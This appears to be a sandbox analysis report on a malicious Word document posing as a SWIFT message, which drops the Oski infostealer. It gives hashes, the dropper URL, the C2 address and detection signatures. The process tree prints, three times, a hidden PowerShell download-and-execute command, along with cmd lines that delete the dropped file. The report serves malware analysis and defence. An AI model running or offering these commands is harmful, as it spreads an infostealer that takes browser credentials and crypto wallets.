Analysis

  • max time kernel
    148s
  • max time network
    67s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    03/08/2021, 09:09

General

  • Target

    swift_message_723-18-22-78_2-8-2021.doc

  • Size

    229KB

  • MD5

    078124cc194f4e22437feffa2d8d5db4

  • SHA1

    ceb5ca93af0a7504d60cd42257d7f8dd6c22e0c8

  • SHA256

    77155eda52a852b224133d31047ff1aae08e915e1d7b664d326f2867647ef42d

  • SHA512

    13aca0b9b0403869946e98a36e64e68288bac7a9cfc542c9b985dd4fabd004a50f68d553258e7b4d963e887bac359f88e9fe38079b2c4a270cad75807625c3c0

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

httP://185.230.160.197/yoyo/texts.exe

Extracted

Family

oski

C2

http://2.56.59.226/www/

Signatures

  • Oski

    Oski is an infostealer targeting browser data, crypto wallets.

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
  • suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 16 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Office loads VBA resources, possible macro or embedded object present
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\swift_message_723-18-22-78_2-8-2021.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:772
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://185.230.160.197/yoyo/texts.exe','C:\Users\Admin\AppData\Roaming\texts.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\texts.exe'"
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1568
      • C:\Users\Admin\AppData\Roaming\texts.exe
        "C:\Users\Admin\AppData\Roaming\texts.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1336
        • C:\Users\Admin\AppData\Roaming\texts.exe
          "C:\Users\Admin\AppData\Roaming\texts.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          PID:952
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c taskkill /pid 952 & erase C:\Users\Admin\AppData\Roaming\texts.exe & RD /S /Q C:\\ProgramData\\278556420229576\\* & exit
            5⤵
              PID:1740
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /pid 952
                6⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1780
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://185.230.160.197/yoyo/texts.exe','C:\Users\Admin\AppData\Roaming\texts.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\texts.exe'"
        2⤵
        • Process spawned unexpected child process
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1676
        • C:\Users\Admin\AppData\Roaming\texts.exe
          "C:\Users\Admin\AppData\Roaming\texts.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:396
          • C:\Users\Admin\AppData\Roaming\texts.exe
            "C:\Users\Admin\AppData\Roaming\texts.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Checks processor information in registry
            PID:996
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c taskkill /pid 996 & erase C:\Users\Admin\AppData\Roaming\texts.exe & RD /S /Q C:\\ProgramData\\934532759575912\\* & exit
              5⤵
                PID:1336
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /pid 996
                  6⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1712
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://185.230.160.197/yoyo/texts.exe','C:\Users\Admin\AppData\Roaming\texts.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\texts.exe'"
          2⤵
          • Process spawned unexpected child process
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:956
          • C:\Users\Admin\AppData\Roaming\texts.exe
            "C:\Users\Admin\AppData\Roaming\texts.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:436
            • C:\Users\Admin\AppData\Roaming\texts.exe
              "C:\Users\Admin\AppData\Roaming\texts.exe"
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Checks processor information in registry
              • Suspicious use of WriteProcessMemory
              PID:1624
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c taskkill /pid 1624 & erase C:\Users\Admin\AppData\Roaming\texts.exe & RD /S /Q C:\\ProgramData\\946751437588490\\* & exit
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:612
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /pid 1624
                  6⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1696
        • C:\Windows\splwow64.exe
          C:\Windows\splwow64.exe 12288
          2⤵
            PID:1012

        Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • memory/396-140-0x00000000004D0000-0x00000000004DD000-memory.dmp

                Filesize

                52KB

              • memory/396-138-0x0000000004CB0000-0x0000000004CB1000-memory.dmp

                Filesize

                4KB

              • memory/436-145-0x0000000005700000-0x000000000579D000-memory.dmp

                Filesize

                628KB

              • memory/436-139-0x0000000004D30000-0x0000000004D31000-memory.dmp

                Filesize

                4KB

              • memory/436-146-0x0000000000250000-0x0000000000286000-memory.dmp

                Filesize

                216KB

              • memory/772-60-0x0000000072C81000-0x0000000072C84000-memory.dmp

                Filesize

                12KB

              • memory/772-63-0x0000000075EF1000-0x0000000075EF3000-memory.dmp

                Filesize

                8KB

              • memory/772-61-0x0000000070701000-0x0000000070703000-memory.dmp

                Filesize

                8KB

              • memory/772-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

                Filesize

                64KB

              • memory/956-128-0x0000000006310000-0x0000000006311000-memory.dmp

                Filesize

                4KB

              • memory/956-94-0x00000000007E0000-0x00000000007E1000-memory.dmp

                Filesize

                4KB

              • memory/956-95-0x00000000007E2000-0x00000000007E3000-memory.dmp

                Filesize

                4KB

              • memory/1012-144-0x000007FEFC181000-0x000007FEFC183000-memory.dmp

                Filesize

                8KB

              • memory/1336-127-0x0000000004EF0000-0x0000000004EF1000-memory.dmp

                Filesize

                4KB

              • memory/1336-120-0x0000000000CD0000-0x0000000000CD1000-memory.dmp

                Filesize

                4KB

              • memory/1568-113-0x00000000062B0000-0x00000000062B1000-memory.dmp

                Filesize

                4KB

              • memory/1568-68-0x00000000049D0000-0x00000000049D1000-memory.dmp

                Filesize

                4KB

              • memory/1568-98-0x0000000005790000-0x0000000005791000-memory.dmp

                Filesize

                4KB

              • memory/1568-66-0x00000000007A0000-0x00000000007A1000-memory.dmp

                Filesize

                4KB

              • memory/1568-97-0x000000007EF30000-0x000000007EF31000-memory.dmp

                Filesize

                4KB

              • memory/1568-105-0x0000000006280000-0x0000000006281000-memory.dmp

                Filesize

                4KB

              • memory/1568-92-0x0000000005700000-0x0000000005701000-memory.dmp

                Filesize

                4KB

              • memory/1568-85-0x0000000005660000-0x0000000005661000-memory.dmp

                Filesize

                4KB

              • memory/1568-67-0x0000000004A10000-0x0000000004A11000-memory.dmp

                Filesize

                4KB

              • memory/1568-69-0x00000000049D2000-0x00000000049D3000-memory.dmp

                Filesize

                4KB

              • memory/1568-70-0x00000000025A0000-0x00000000025A1000-memory.dmp

                Filesize

                4KB

              • memory/1568-71-0x0000000004710000-0x0000000004711000-memory.dmp

                Filesize

                4KB

              • memory/1624-151-0x0000000000400000-0x0000000000438000-memory.dmp

                Filesize

                224KB

              • memory/1624-147-0x0000000000400000-0x0000000000438000-memory.dmp

                Filesize

                224KB

              • memory/1676-93-0x0000000004AC0000-0x0000000004AC1000-memory.dmp

                Filesize

                4KB

              • memory/1676-96-0x0000000004AC2000-0x0000000004AC3000-memory.dmp

                Filesize

                4KB